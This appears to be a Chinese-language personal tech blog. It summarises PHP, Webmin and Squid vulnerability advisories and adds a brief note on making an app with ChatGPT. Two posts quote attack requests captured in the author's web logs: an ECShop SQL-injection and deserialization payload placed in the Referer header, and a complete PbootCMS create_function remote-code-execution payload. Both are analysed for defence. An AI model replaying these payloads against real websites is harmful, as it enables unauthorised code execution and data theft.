PHP重大漏洞PHP2Shell

近日網站程式開發語言 PHP爆出重大漏洞, 就連日本首相高市早苗也於 10月 21日晚上在 X平台上緊急發布這項消息並要求大家趕快進行更新修補, 如來不及更新則先將網站關閉, 這次事件稱為 PHP2Shell漏洞, 已經存在超過 10年, 而在今年 8月時由多家資安團隊藉由 AI找出漏洞, PHP2Shell涉及 PHP核心程式的兩項重大漏洞, PHP官方已於 10月 21日緊急發布修補版本, 這次的嚴重程度達到 9.2分w-studio.idv.tw

其中一個是 CVE-2026-109618: 記憶體不足處理漏洞, 當記憶體不足(Out of Memory, OOM)時, PHP需要中止當前作業並清理資源, 但這項漏洞會造成攻擊者透過特製的 HTTP請求觸發 PHP 記憶體配置失敗, PHP在內部資料尚未完成初始化時就進入錯誤處理流程, 清理程序錯誤地將未初始化的資料視為有效資料產生記憶體毀損, 進一步可能被利用來執行任意程式碼, 無須身分驗證即可遠端執行程式碼

第二個 CVE-2026-109619: Use-After-Free記憶體漏洞, 這項漏洞與 PHP處理不同 HTTP請求時的內部狀態有關, 正常情況下請求結束後這些指標應該被正確清除, 但在特定錯誤情況下前一個 HTTP請求發生錯誤, PHP釋放該請求使用的記憶體而某些全域狀態卻仍指向已釋放的記憶體, 同一個 PHP Worker處理後續請求時可能再次使用該記憶體, 形成 Use-After-Free(UAF)導致程式崩潰、記憶體資訊洩漏或遠端程式碼執行

PHP官方發布以下修補版本: 8.5.12, 8.4.27, 8.3.36, 8.2.35, 而 PHP 8.1以下版本則停止維護

從 Web Log 學習系統漏洞 102

同上一篇同樣的 IP進行大量的連線：

103.62.49.170 - - [21/Oct/2026:13:00:13 +0800] "GET /user.php?act=login HTTP/1.1" 404 206 "5554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:6714:\"*/ union select (這裡是一連串英文數字穿插的亂數組合字串, 太多了就不貼上) -- -\";s:2:\"id\";s:3:\"'/*\";}" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"

經查詢後得知這是針對 PHP網站的 SQL Injection攻擊, 而且可能結合 PHP反序列化資料格式, 試圖利用網站程式的漏洞, 攻擊者將 SQL Injection放在 HTTP 的 Referer中, 其中 554fcae493e564ee0dc75bdf2ebf94ca是特定 ECShop版本使用的固定識別字串, 這項漏洞的利用過程涉及 ECShop模板處理、unserialize()、insert_ads()的 SQL拼接問題, 最後可能導致 PHP程式碼執行甚至植入 WebShell, 同樣的我也沒使用 ECShop

從 Web Log 學習系統漏洞 101

Weblog中出現大量的相同連線:

103.62.49.170 - - [21/Oct/2026:12:49:32 +0800] "POST /?tag/index&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(123){/pbhome/Indexoot:if}&tagstpl=news.html&lnoc2tspfar1_ue HTTP/1.1" 404 534 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36"

103.62.49.170 來自日本東京

其他相同內容連線的 IP來自中國

經查詢後得知這是一個針對 PbootCMS網站內容管理系統的遠端程式碼執行攻擊(RCE), 舊版 PbootCMS存在透過 create_function觸發的命令注入漏洞, 不過我並沒有使用 PbootCMS

用ChatGPT製作APP

w-studio.idv.tw

因為換手機之後原本用的血壓紀錄 APP在 Google Play商店早下架, 其他的 APP用的也不是很滿意, 於是用了 ChatGPT做了一套簡易版 APP來記錄, 不斷測試下 APP終於完成, 免費仔(我)扣掉 ChatGPT每日額度用完後被停話等待的時間, 實際花不到一個禮拜時間製作, 沒想到不會寫程式居然也可以做出來, 本想上架到 Google Play商店分享給大家, 但看到上架規定裡需要至少 12個使用者先封閉測試 14天, 要把我的姓名地址公布在 Play商店中, 還有一堆後續的事情, 想想太麻煩了就放棄上架 😅

ChatGPT全球大當機？

晚上事情才做到一半結果就突然斷線, 是因為我是免費仔嗎？😂

網頁型管理工具Webmin漏洞, CVE-2026-22678

Webmin是 Linux伺服器網頁型管理工具, 可透過瀏覽器管理帳號、服務、網路與系統設定, 以前曾使用過用來管理伺服器非常方便, 但覺得可以從網頁管理整個主機很不保險後來就沒再用了

CVE-2026-22678是影響 Webmin的一個儲存型跨網站指令碼(Stored Cross-Site Scripting, Stored XSS)漏洞, 影響 2.641之前的版本, 漏洞位於 System and Server Status模組中的 Email Template(電子郵件通知範本)功能, 攻擊者可以在 Email Template Description欄位輸入包含 JavaScript的惡意內容, 惡意 JavaScript會永久保存在系統中, 當管理者之後瀏覽該頁面時瀏覽器便會執行這段 JavaScript, 可能導致竊取管理者 Session Cookie, 以管理者身分操作 Webmin, 執行管理員可執行的管理功能, 新增後門帳號, 修改系統設定, 在某些情況下甚至可能間接導致作業系統層級的命令執行, 不過攻擊者必須先具備一個合法登入 Webmin的帳號及能夠存取 Email Template功能

官方已在 Webmin 2.641修正此問題, 立即升級至 2.641 或更新版本

Squid記憶體洩漏漏洞, CVE-2026-47729

Squidbleed (CVE-2026-47729)

這是影響 Squid的一個資訊洩漏漏洞, 屬於 Out-of-Bounds Read(越界讀取)類型, Squid的 FTP Gateway功能在處理 FTP伺服器回應時對輸入資料的語法驗證不夠完整, 當 Squid透過 FTP Gateway存取一個異常或惡意的 FTP伺服器時可能觸發越界讀取, 簡單來說就是用戶端透過 Squid存取 FTP資源, FTP伺服器回傳特製或格式錯誤的回應, Squid在解析回應時讀取了緩衝區邊界之外的記憶體, 攻擊者可能取得原本不應曝光的記憶體內容

安全研究人員分析認為, 洩漏內容理論上可能包含:

。HTTP認證資訊

。Proxy Authentication Header

。其他使用者的請求資料

。記憶體中的敏感資訊

會受影響的系統:

。安裝並執行 Squid Proxy

。啟用了 FTP Gateway功能

。Squid可以連到惡意或異常的 FTP Server

若只用 Squid做 HTTP/HTTPS Proxy且完全不使用 FTP Proxy功能, 實際風險會低很多, 漏洞於 2026年 6月公開並已在 Squid 7.6修補